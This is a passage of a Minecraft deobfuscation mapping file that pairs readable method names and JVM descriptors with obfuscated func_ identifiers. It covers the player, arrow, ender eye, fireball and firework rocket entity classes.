(Lnet/minecraft/entity/IMerchant;)V net/minecraft/entity/player/EntityPlayer/func_180472_a (Lnet/minecraft/entity/IMerchant;)V +MD: net/minecraft/entity/player/EntityPlayer/openEditCommandBlock (Lnet/minecraft/command/server/CommandBlockLogic;)V net/minecraft/entity/player/EntityPlayer/func_146095_a (Lnet/minecraft/command/server/CommandBlockLogic;)V +MD: net/minecraft/entity/player/EntityPlayer/getBedSpawnLocation (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Z)Lnet/minecraft/util/BlockPos; net/minecraft/entity/player/EntityPlayer/func_180467_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Z)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/player/EntityPlayer/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/entity/player/EntityPlayer/func_71033_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/entity/player/EntityPlayer/getToolDigEfficiency (Lnet/minecraft/block/Block;)F net/minecraft/entity/player/EntityPlayer/func_180471_a (Lnet/minecraft/block/Block;)F +MD: net/minecraft/entity/player/EntityPlayer/openEditSign (Lnet/minecraft/tileentity/TileEntitySign;)V net/minecraft/entity/player/EntityPlayer/func_175141_a (Lnet/minecraft/tileentity/TileEntitySign;)V +MD: net/minecraft/entity/player/EntityPlayer/trySleep (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; net/minecraft/entity/player/EntityPlayer/func_180469_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/player/EntityPlayer$EnumStatus; +MD: net/minecraft/entity/player/EntityPlayer/canPlayerEdit (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/player/EntityPlayer/func_175151_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/player/EntityPlayer/setSpawnPoint (Lnet/minecraft/util/BlockPos;Z)V net/minecraft/entity/player/EntityPlayer/func_180473_a (Lnet/minecraft/util/BlockPos;Z)V +MD: net/minecraft/entity/player/EntityPlayer/getUUID (Lcom/mojang/authlib/GameProfile;)Ljava/util/UUID; net/minecraft/entity/player/EntityPlayer/func_146094_a (Lcom/mojang/authlib/GameProfile;)Ljava/util/UUID; +MD: net/minecraft/entity/player/EntityPlayer/func_175139_a (Lnet/minecraft/util/EnumFacing;)V net/minecraft/entity/player/EntityPlayer/func_175139_a (Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/entity/player/EntityPlayer/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/player/EntityPlayer/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/player/EntityPlayer/playSound (Ljava/lang/String;FF)V net/minecraft/entity/player/EntityPlayer/func_85030_a (Ljava/lang/String;FF)V +MD: net/minecraft/entity/player/EntityPlayer/func_175145_a (Lnet/minecraft/stats/StatBase;)V net/minecraft/entity/player/EntityPlayer/func_175145_a (Lnet/minecraft/stats/StatBase;)V +MD: net/minecraft/entity/player/EntityPlayer/addStat (Lnet/minecraft/stats/StatBase;I)V net/minecraft/entity/player/EntityPlayer/func_71064_a (Lnet/minecraft/stats/StatBase;I)V +MD: net/minecraft/entity/player/EntityPlayer/displayGUIChest (Lnet/minecraft/inventory/IInventory;)V net/minecraft/entity/player/EntityPlayer/func_71007_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/entity/player/EntityPlayer/displayGui (Lnet/minecraft/world/IInteractionObject;)V net/minecraft/entity/player/EntityPlayer/func_180468_a (Lnet/minecraft/world/IInteractionObject;)V +MD: net/minecraft/entity/player/EntityPlayer/canOpen (Lnet/minecraft/world/LockCode;)Z net/minecraft/entity/player/EntityPlayer/func_175146_a (Lnet/minecraft/world/LockCode;)Z +MD: net/minecraft/entity/player/EntityPlayer/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/player/EntityPlayer/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/player/EntityPlayer/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/player/EntityPlayer/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/player/EntityPlayer/onKillEntity (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/player/EntityPlayer/func_70074_a (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/player/EntityPlayer/displayGUIHorse (Lnet/minecraft/entity/passive/EntityHorse;Lnet/minecraft/inventory/IInventory;)V net/minecraft/entity/player/EntityPlayer/func_110298_a (Lnet/minecraft/entity/passive/EntityHorse;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/entity/player/EntityPlayer/joinEntityItemWithWorld (Lnet/minecraft/entity/item/EntityItem;)V net/minecraft/entity/player/EntityPlayer/func_71012_a (Lnet/minecraft/entity/item/EntityItem;)V +MD: net/minecraft/entity/player/EntityPlayer/canAttackPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/player/EntityPlayer/func_96122_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/player/EntityPlayer/clonePlayer (Lnet/minecraft/entity/player/EntityPlayer;Z)V net/minecraft/entity/player/EntityPlayer/func_71049_a (Lnet/minecraft/entity/player/EntityPlayer;Z)V +MD: net/minecraft/entity/player/EntityPlayer/isWearing (Lnet/minecraft/entity/player/EnumPlayerModelParts;)Z net/minecraft/entity/player/EntityPlayer/func_175148_a (Lnet/minecraft/entity/player/EnumPlayerModelParts;)Z +MD: net/minecraft/entity/player/EntityPlayer/displayGUIBook (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/player/EntityPlayer/func_71048_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/player/EntityPlayer/setItemInUse (Lnet/minecraft/item/ItemStack;I)V net/minecraft/entity/player/EntityPlayer/func_71008_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/entity/player/EntityPlayer/dropPlayerItemWithRandomChoice (Lnet/minecraft/item/ItemStack;Z)Lnet/minecraft/entity/item/EntityItem; net/minecraft/entity/player/EntityPlayer/func_71019_a (Lnet/minecraft/item/ItemStack;Z)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/entity/player/EntityPlayer/dropItem (Lnet/minecraft/item/ItemStack;ZZ)Lnet/minecraft/entity/item/EntityItem; net/minecraft/entity/player/EntityPlayer/func_146097_a (Lnet/minecraft/item/ItemStack;ZZ)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/entity/player/EntityPlayer/dropOneItem (Z)Lnet/minecraft/entity/item/EntityItem; net/minecraft/entity/player/EntityPlayer/func_71040_bB (Z)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/entity/player/EntityPlayer/wakeUpPlayer (ZZZ)V net/minecraft/entity/player/EntityPlayer/func_70999_a (ZZZ)V +MD: net/minecraft/entity/player/EntityPlayer/setInWeb ()V net/minecraft/entity/player/EntityPlayer/func_70110_aj ()V +MD: net/minecraft/entity/player/EntityPlayer/isPushedByWater ()Z net/minecraft/entity/player/EntityPlayer/func_96092_aw ()Z +MD: net/minecraft/entity/player/EntityPlayer/getAlwaysRenderNameTagForRender ()Z net/minecraft/entity/player/EntityPlayer/func_94059_bO ()Z +MD: net/minecraft/entity/player/EntityPlayer/getEyeHeight ()F net/minecraft/entity/player/EntityPlayer/func_70047_e ()F +MD: net/minecraft/entity/player/EntityPlayer/applyEntityAttributes ()V net/minecraft/entity/player/EntityPlayer/func_110147_ax ()V +MD: net/minecraft/entity/player/EntityPlayer/getSplashSound ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayer/func_145777_O ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer/isEntityInsideOpaqueBlock ()Z net/minecraft/entity/player/EntityPlayer/func_70094_T ()Z +MD: net/minecraft/entity/player/EntityPlayer/updateRidden ()V net/minecraft/entity/player/EntityPlayer/func_70098_U ()V +MD: net/minecraft/entity/player/EntityPlayer/getYOffset ()D net/minecraft/entity/player/EntityPlayer/func_70033_W ()D +MD: net/minecraft/entity/player/EntityPlayer/getPortalCooldown ()I net/minecraft/entity/player/EntityPlayer/func_82147_ab ()I +MD: net/minecraft/entity/player/EntityPlayer/getInventory ()[Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/EntityPlayer/func_70035_c ()[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/EntityPlayer/removeExperienceLevel (I)V net/minecraft/entity/player/EntityPlayer/func_71013_b (I)V +MD: net/minecraft/entity/player/EntityPlayer/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/entity/player/EntityPlayer/func_146099_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/entity/player/EntityPlayer/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/player/EntityPlayer/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/player/EntityPlayer/addChatComponentMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/entity/player/EntityPlayer/func_146105_b (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/entity/player/EntityPlayer/getOfflineUUID (Ljava/lang/String;)Ljava/util/UUID; net/minecraft/entity/player/EntityPlayer/func_175147_b (Ljava/lang/String;)Ljava/util/UUID; +MD: net/minecraft/entity/player/EntityPlayer/triggerAchievement (Lnet/minecraft/stats/StatBase;)V net/minecraft/entity/player/EntityPlayer/func_71029_a (Lnet/minecraft/stats/StatBase;)V +MD: net/minecraft/entity/player/EntityPlayer/onCriticalHit (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayer/func_71009_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayer/addToPlayerScore (Lnet/minecraft/entity/Entity;I)V net/minecraft/entity/player/EntityPlayer/func_70084_c (Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/entity/player/EntityPlayer/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/player/EntityPlayer/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/player/EntityPlayer/updateItemUse (Lnet/minecraft/item/ItemStack;I)V net/minecraft/entity/player/EntityPlayer/func_71010_c (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/entity/player/EntityPlayer/getHeldItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/EntityPlayer/func_70694_bm ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/EntityPlayer/isMovementBlocked ()Z net/minecraft/entity/player/EntityPlayer/func_70610_aX ()Z +MD: net/minecraft/entity/player/EntityPlayer/jump ()V net/minecraft/entity/player/EntityPlayer/func_70664_aZ ()V +MD: net/minecraft/entity/player/EntityPlayer/getAIMoveSpeed ()F net/minecraft/entity/player/EntityPlayer/func_70689_ay ()F +MD: net/minecraft/entity/player/EntityPlayer/isPlayerSleeping ()Z net/minecraft/entity/player/EntityPlayer/func_70608_bn ()Z +MD: net/minecraft/entity/player/EntityPlayer/updateEntityActionState ()V net/minecraft/entity/player/EntityPlayer/func_70626_be ()V +MD: net/minecraft/entity/player/EntityPlayer/getAbsorptionAmount ()F net/minecraft/entity/player/EntityPlayer/func_110139_bj ()F +MD: net/minecraft/entity/player/EntityPlayer/getTeam ()Lnet/minecraft/scoreboard/Team; net/minecraft/entity/player/EntityPlayer/func_96124_cp ()Lnet/minecraft/scoreboard/Team; +MD: net/minecraft/entity/player/EntityPlayer/getItemInUse ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/EntityPlayer/func_71011_bu ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/EntityPlayer/getItemInUseCount ()I net/minecraft/entity/player/EntityPlayer/func_71052_bv ()I +MD: net/minecraft/entity/player/EntityPlayer/isUsingItem ()Z net/minecraft/entity/player/EntityPlayer/func_71039_bw ()Z +MD: net/minecraft/entity/player/EntityPlayer/getItemInUseDuration ()I net/minecraft/entity/player/EntityPlayer/func_71057_bx ()I +MD: net/minecraft/entity/player/EntityPlayer/stopUsingItem ()V net/minecraft/entity/player/EntityPlayer/func_71034_by ()V +MD: net/minecraft/entity/player/EntityPlayer/clearItemInUse ()V net/minecraft/entity/player/EntityPlayer/func_71041_bz ()V +MD: net/minecraft/entity/player/EntityPlayer/isBlocking ()Z net/minecraft/entity/player/EntityPlayer/func_70632_aY ()Z +MD: net/minecraft/entity/player/EntityPlayer/getScore ()I net/minecraft/entity/player/EntityPlayer/func_71037_bA ()I +MD: net/minecraft/entity/player/EntityPlayer/getArmorVisibility ()F net/minecraft/entity/player/EntityPlayer/func_82243_bO ()F +MD: net/minecraft/entity/player/EntityPlayer/getCurrentEquippedItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/EntityPlayer/func_71045_bC ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/EntityPlayer/isPlayer ()Z net/minecraft/entity/player/EntityPlayer/func_70684_aJ ()Z +MD: net/minecraft/entity/player/EntityPlayer/getHurtSound ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayer/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer/getDeathSound ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayer/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer/getTotalArmorValue ()I net/minecraft/entity/player/EntityPlayer/func_70658_aO ()I +MD: net/minecraft/entity/player/EntityPlayer/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/player/EntityPlayer/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/player/EntityPlayer/onEnchantmentCritical (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayer/func_71047_c (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayer/destroyCurrentEquippedItem ()V net/minecraft/entity/player/EntityPlayer/func_71028_bD ()V +MD: net/minecraft/entity/player/EntityPlayer/respawnPlayer ()V net/minecraft/entity/player/EntityPlayer/func_71004_bE ()V +MD: net/minecraft/entity/player/EntityPlayer/isUser ()Z net/minecraft/entity/player/EntityPlayer/func_175144_cb ()Z +MD: net/minecraft/entity/player/EntityPlayer/getGameProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/entity/player/EntityPlayer/func_146103_bH ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/entity/player/EntityPlayer/getBedOrientationInDegrees ()F net/minecraft/entity/player/EntityPlayer/func_71051_bG ()F +MD: net/minecraft/entity/player/EntityPlayer/isPlayerFullyAsleep ()Z net/minecraft/entity/player/EntityPlayer/func_71026_bH ()Z +MD: net/minecraft/entity/player/EntityPlayer/getSleepTimer ()I net/minecraft/entity/player/EntityPlayer/func_71060_bI ()I +MD: net/minecraft/entity/player/EntityPlayer/getBedLocation ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/player/EntityPlayer/func_180470_cg ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/player/EntityPlayer/isSpawnForced ()Z net/minecraft/entity/player/EntityPlayer/func_82245_bX ()Z +MD: net/minecraft/entity/player/EntityPlayer/getXPSeed ()I net/minecraft/entity/player/EntityPlayer/func_175138_ci ()I +MD: net/minecraft/entity/player/EntityPlayer/xpBarCap ()I net/minecraft/entity/player/EntityPlayer/func_71050_bK ()I +MD: net/minecraft/entity/player/EntityPlayer/getFoodStats ()Lnet/minecraft/util/FoodStats; net/minecraft/entity/player/EntityPlayer/func_71024_bL ()Lnet/minecraft/util/FoodStats; +MD: net/minecraft/entity/player/EntityPlayer/shouldHeal ()Z net/minecraft/entity/player/EntityPlayer/func_70996_bM ()Z +MD: net/minecraft/entity/player/EntityPlayer/isAllowEdit ()Z net/minecraft/entity/player/EntityPlayer/func_175142_cm ()Z +MD: net/minecraft/entity/player/EntityPlayer/getInventoryEnderChest ()Lnet/minecraft/inventory/InventoryEnderChest; net/minecraft/entity/player/EntityPlayer/func_71005_bN ()Lnet/minecraft/inventory/InventoryEnderChest; +MD: net/minecraft/entity/player/EntityPlayer/getWorldScoreboard ()Lnet/minecraft/scoreboard/Scoreboard; net/minecraft/entity/player/EntityPlayer/func_96123_co ()Lnet/minecraft/scoreboard/Scoreboard; +MD: net/minecraft/entity/player/EntityPlayer/hasReducedDebug ()Z net/minecraft/entity/player/EntityPlayer/func_175140_cp ()Z +MD: net/minecraft/entity/player/EntityPlayer/replaceItemInInventory (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/player/EntityPlayer/func_174820_d (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/player/EntityPlayer/damageEntity (Lnet/minecraft/util/DamageSource;F)V net/minecraft/entity/player/EntityPlayer/func_70665_d (Lnet/minecraft/util/DamageSource;F)V +MD: net/minecraft/entity/player/EntityPlayer/collideWithPlayer (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayer/func_71044_o (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayer/fall (FF)V net/minecraft/entity/player/EntityPlayer/func_180430_e (FF)V +MD: net/minecraft/entity/player/EntityPlayer/func_175137_e (Lnet/minecraft/entity/Entity;)Ljava/util/Collection; net/minecraft/entity/player/EntityPlayer/func_175137_e (Lnet/minecraft/entity/Entity;)Ljava/util/Collection; +MD: net/minecraft/entity/player/EntityPlayer/getName ()Ljava/lang/String; net/minecraft/entity/player/EntityPlayer/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer/attackTargetEntityWithCurrentItem (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/player/EntityPlayer/func_71059_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/player/EntityPlayer/isInvisibleToPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/player/EntityPlayer/func_98034_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/player/EntityPlayer/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/player/EntityPlayer/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/player/EntityPlayer/moveEntityWithHeading (FF)V net/minecraft/entity/player/EntityPlayer/func_70612_e (FF)V +MD: net/minecraft/entity/player/EntityPlayer/entityInit ()V net/minecraft/entity/player/EntityPlayer/func_70088_a ()V +MD: net/minecraft/entity/player/EntityPlayer/damageArmor (F)V net/minecraft/entity/player/EntityPlayer/func_70675_k (F)V +MD: net/minecraft/entity/player/EntityPlayer/canEat (Z)Z net/minecraft/entity/player/EntityPlayer/func_71043_e (Z)Z +MD: net/minecraft/entity/player/EntityPlayer/addMovementStat (DDD)V net/minecraft/entity/player/EntityPlayer/func_71000_j (DDD)V +MD: net/minecraft/entity/player/EntityPlayer/setReducedDebug (Z)V net/minecraft/entity/player/EntityPlayer/func_175150_k (Z)V +MD: net/minecraft/entity/player/EntityPlayer/addMountedMovementStat (DDD)V net/minecraft/entity/player/EntityPlayer/func_71015_k (DDD)V +MD: net/minecraft/entity/player/EntityPlayer/onLivingUpdate ()V net/minecraft/entity/player/EntityPlayer/func_70636_d ()V +MD: net/minecraft/entity/player/EntityPlayer/setAbsorptionAmount (F)V net/minecraft/entity/player/EntityPlayer/func_110149_m (F)V +MD: net/minecraft/entity/player/EntityPlayer/closeScreen ()V net/minecraft/entity/player/EntityPlayer/func_71053_j ()V +MD: net/minecraft/entity/player/EntityPlayer/getFallSoundString (I)Ljava/lang/String; net/minecraft/entity/player/EntityPlayer/func_146067_o (I)Ljava/lang/String; +MD: net/minecraft/entity/player/EntityPlayer/isInBed ()Z net/minecraft/entity/player/EntityPlayer/func_175143_p ()Z +MD: net/minecraft/entity/player/EntityPlayer/getEquipmentInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/EntityPlayer/func_71124_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/EntityPlayer/getCurrentArmor (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/player/EntityPlayer/func_82169_q (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/player/EntityPlayer/setScore (I)V net/minecraft/entity/player/EntityPlayer/func_85040_s (I)V +MD: net/minecraft/entity/player/EntityPlayer/onItemUseFinish ()V net/minecraft/entity/player/EntityPlayer/func_71036_o ()V +MD: net/minecraft/entity/player/EntityPlayer/addScore (I)V net/minecraft/entity/player/EntityPlayer/func_85039_t (I)V +MD: net/minecraft/entity/player/EntityPlayer/canTriggerWalking ()Z net/minecraft/entity/player/EntityPlayer/func_70041_e_ ()Z +MD: net/minecraft/entity/player/EntityPlayer/sendPlayerAbilities ()V net/minecraft/entity/player/EntityPlayer/func_71016_p ()V +MD: net/minecraft/entity/player/EntityPlayer/onUpdate ()V net/minecraft/entity/player/EntityPlayer/func_70071_h_ ()V +MD: net/minecraft/entity/player/EntityPlayer/addExperience (I)V net/minecraft/entity/player/EntityPlayer/func_71023_q (I)V +MD: net/minecraft/entity/player/EntityPlayer/interactWith (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/player/EntityPlayer/func_70998_m (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/player/EntityPlayer/sendCommandFeedback ()Z net/minecraft/entity/player/EntityPlayer/func_174792_t_ ()Z +MD: net/minecraft/entity/player/EntityPlayer/isSpectator ()Z net/minecraft/entity/player/EntityPlayer/func_175149_v ()Z +MD: net/minecraft/entity/player/EnumPlayerModelParts/getPartMask ()I net/minecraft/entity/player/EnumPlayerModelParts/func_179327_a ()I +MD: net/minecraft/entity/player/EnumPlayerModelParts/getPartId ()I net/minecraft/entity/player/EnumPlayerModelParts/func_179328_b ()I +MD: net/minecraft/entity/player/EnumPlayerModelParts/getPartName ()Ljava/lang/String; net/minecraft/entity/player/EnumPlayerModelParts/func_179329_c ()Ljava/lang/String; +MD: net/minecraft/entity/player/EnumPlayerModelParts/func_179326_d ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/player/EnumPlayerModelParts/func_179326_d ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/player/EnumPlayerModelParts/values ()[Lnet/minecraft/entity/player/EnumPlayerModelParts; net/minecraft/entity/player/EnumPlayerModelParts/values ()[Lnet/minecraft/entity/player/EnumPlayerModelParts; +MD: net/minecraft/entity/projectile/EntityArrow/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/projectile/EntityArrow/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/projectile/EntityArrow/setKnockbackStrength (I)V net/minecraft/entity/projectile/EntityArrow/func_70240_a (I)V +MD: net/minecraft/entity/projectile/EntityArrow/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityArrow/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityArrow/setIsCritical (Z)V net/minecraft/entity/projectile/EntityArrow/func_70243_d (Z)V +MD: net/minecraft/entity/projectile/EntityArrow/canAttackWithItem ()Z net/minecraft/entity/projectile/EntityArrow/func_70075_an ()Z +MD: net/minecraft/entity/projectile/EntityArrow/getEyeHeight ()F net/minecraft/entity/projectile/EntityArrow/func_70047_e ()F +MD: net/minecraft/entity/projectile/EntityArrow/setDamage (D)V net/minecraft/entity/projectile/EntityArrow/func_70239_b (D)V +MD: net/minecraft/entity/projectile/EntityArrow/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityArrow/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityArrow/setThrowableHeading (DDDFF)V net/minecraft/entity/projectile/EntityArrow/func_70186_c (DDDFF)V +MD: net/minecraft/entity/projectile/EntityArrow/onCollideWithPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/projectile/EntityArrow/func_70100_b_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/projectile/EntityArrow/entityInit ()V net/minecraft/entity/projectile/EntityArrow/func_70088_a ()V +MD: net/minecraft/entity/projectile/EntityArrow/setVelocity (DDD)V net/minecraft/entity/projectile/EntityArrow/func_70016_h (DDD)V +MD: net/minecraft/entity/projectile/EntityArrow/getDamage ()D net/minecraft/entity/projectile/EntityArrow/func_70242_d ()D +MD: net/minecraft/entity/projectile/EntityArrow/getIsCritical ()Z net/minecraft/entity/projectile/EntityArrow/func_70241_g ()Z +MD: net/minecraft/entity/projectile/EntityArrow/canTriggerWalking ()Z net/minecraft/entity/projectile/EntityArrow/func_70041_e_ ()Z +MD: net/minecraft/entity/projectile/EntityArrow/onUpdate ()V net/minecraft/entity/projectile/EntityArrow/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityEnderEye/isInRangeToRenderDist (D)Z net/minecraft/entity/item/EntityEnderEye/func_70112_a (D)Z +MD: net/minecraft/entity/item/EntityEnderEye/moveTowards (Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/item/EntityEnderEye/func_180465_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/item/EntityEnderEye/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityEnderEye/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityEnderEye/canAttackWithItem ()Z net/minecraft/entity/item/EntityEnderEye/func_70075_an ()Z +MD: net/minecraft/entity/item/EntityEnderEye/getBrightnessForRender (F)I net/minecraft/entity/item/EntityEnderEye/func_70070_b (F)I +MD: net/minecraft/entity/item/EntityEnderEye/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityEnderEye/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityEnderEye/getBrightness (F)F net/minecraft/entity/item/EntityEnderEye/func_70013_c (F)F +MD: net/minecraft/entity/item/EntityEnderEye/entityInit ()V net/minecraft/entity/item/EntityEnderEye/func_70088_a ()V +MD: net/minecraft/entity/item/EntityEnderEye/setVelocity (DDD)V net/minecraft/entity/item/EntityEnderEye/func_70016_h (DDD)V +MD: net/minecraft/entity/item/EntityEnderEye/onUpdate ()V net/minecraft/entity/item/EntityEnderEye/func_70071_h_ ()V +MD: net/minecraft/entity/projectile/EntityFireball/isInRangeToRenderDist (D)Z net/minecraft/entity/projectile/EntityFireball/func_70112_a (D)Z +MD: net/minecraft/entity/projectile/EntityFireball/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntityFireball/func_70227_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntityFireball/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityFireball/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityFireball/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/projectile/EntityFireball/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/projectile/EntityFireball/canBeCollidedWith ()Z net/minecraft/entity/projectile/EntityFireball/func_70067_L ()Z +MD: net/minecraft/entity/projectile/EntityFireball/getCollisionBorderSize ()F net/minecraft/entity/projectile/EntityFireball/func_70111_Y ()F +MD: net/minecraft/entity/projectile/EntityFireball/getBrightnessForRender (F)I net/minecraft/entity/projectile/EntityFireball/func_70070_b (F)I +MD: net/minecraft/entity/projectile/EntityFireball/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityFireball/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityFireball/getBrightness (F)F net/minecraft/entity/projectile/EntityFireball/func_70013_c (F)F +MD: net/minecraft/entity/projectile/EntityFireball/entityInit ()V net/minecraft/entity/projectile/EntityFireball/func_70088_a ()V +MD: net/minecraft/entity/projectile/EntityFireball/getMotionFactor ()F net/minecraft/entity/projectile/EntityFireball/func_82341_c ()F +MD: net/minecraft/entity/projectile/EntityFireball/onUpdate ()V net/minecraft/entity/projectile/EntityFireball/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityFireworkRocket/handleStatusUpdate (B)V net/minecraft/entity/item/EntityFireworkRocket/func_70103_a (B)V +MD: net/minecraft/entity/item/EntityFireworkRocket/isInRangeToRenderDist (D)Z net/minecraft/entity/item/EntityFireworkRocket/func_70112_a (D)Z +MD: net/minecraft/entity/item/EntityFireworkRocket/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityFireworkRocket/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityFireworkRocket/canAttackWithItem ()Z net/minecraft/entity/item/EntityFireworkRocket/func_70075_an ()Z +MD: net/minecraft/entity/item/EntityFireworkRocket/getBrightnessForRender (F)I net/minecraft/entity/item/EntityFireworkRocket/func_70070_b (F)I +MD: net/minecraft/entity/item/EntityFireworkRocket/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityFireworkRocket/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityFireworkRocket/getBrightness (F)F 